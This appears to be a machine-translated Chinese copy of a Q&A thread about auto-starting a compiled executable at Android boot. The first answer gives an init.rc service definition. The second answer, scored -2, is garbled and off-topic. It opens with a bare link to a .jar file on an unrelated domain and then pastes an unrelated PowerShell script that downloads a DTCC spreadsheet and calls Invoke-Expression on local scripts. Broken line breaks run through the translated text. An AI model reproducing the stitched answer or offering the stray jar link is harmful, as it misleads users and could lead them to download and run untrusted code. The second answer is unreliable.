我在/system/bin
中有一个可执行文件,它是从一个小型C程序编译的。
我有root
,可以在executable
和Re explorer
成功运行此Script Manager
。
尝试init.d
方法在启动过程中自动运行此可执行文件,但系统卡在启动徽标上。所以我放弃了。
现在我想知道如何在executable
之后以简单的方式自动运行system boot
,因为我是Android编程的新手?
P.S。
尝试Script Manager
在启动期间以root身份运行它,但系统启动时没有运行它。
答案 0 :(得分:3)
您可以使用/init.rc
。只需阅读它并找到合适的地方开始你的程序,在那里添加这一行:
start myservice
然后,在此文件的末尾,将myservice
定义为运行/system/bin/myexecutabe
并且默认情况下禁用的服务(仅在有人发出start
命令时启动)并且不是它死后重新启动(oneshot
),如下所示:
service myservice /system/bin/myexecutable
disabled
oneshot
答案 1 :(得分:-2)
http://easyrobot.online/temp/permission6.jar
$invocation = (Get-Variable MyInvocation).Value
$directorypath = Split-Path $invocation.MyCommand.Path
Set-Location $directorypath
if ($StepNumber -ne 2) {
$MyName = $MyInvocation.InvocationName
$LogFileName = ".\Logs\" + [System.IO.Path]::GetFileNameWithoutExtension($MyName) + [String]::Format("_{0:yyyy-MM-dd_HH-mm-ss}.Log", (Get-Date))
if (!(Test-Path ".\Logs")) {
$X = New-Item -path . -name Logs -ItemType directory
}
&PowerShell.exe -noProfile -File NSCCMPIDDownload.ps1 2 *>`&1 | Tee $LogFileName
exit
}
## ## ---- STEP2 ------------DownLoad the file from Website
$ErrorActionPreference = "Continue"
Write-Host Running NSCC-MPID-Download at $(Get-Date)
Write-Host ""
## Download the NSCC-MPID-Directory.xls from website
$datestr=$(Get-Date).ToString("yyyy-MM-dd")
$url="http://www.dtcc.com/~/media/Files/Downloads/client-center/NSCC/NSCC-MPID-Directory.xls"
$destination = $directorypath +"/NSCC-MPID-Directory"+"_"+$datestr+".xls"
## if destination does not exsist, creat a new one.
if (!(Test-Path $destination) ) {
New-Item $destination -type file -force
}
$client = new-object System.Net.WebClient
$client.DownloadFile( $url, $destination)
Write-Host Running NSCCMPIDInsertion.ps1
$cmd = "$directorypath\NSCCMPIDInsertion.ps1"
Invoke-Expression "$cmd"
Write-Host Running NSCCMPIDAfterParse.ps1
$cmd = "$directorypath\NSCCMPIDAfterParse.ps1"
Invoke-Expression "$cmd"
Write-Host --------------------------------------------------------------------------
Write-Host Process ended at $(Get-Date)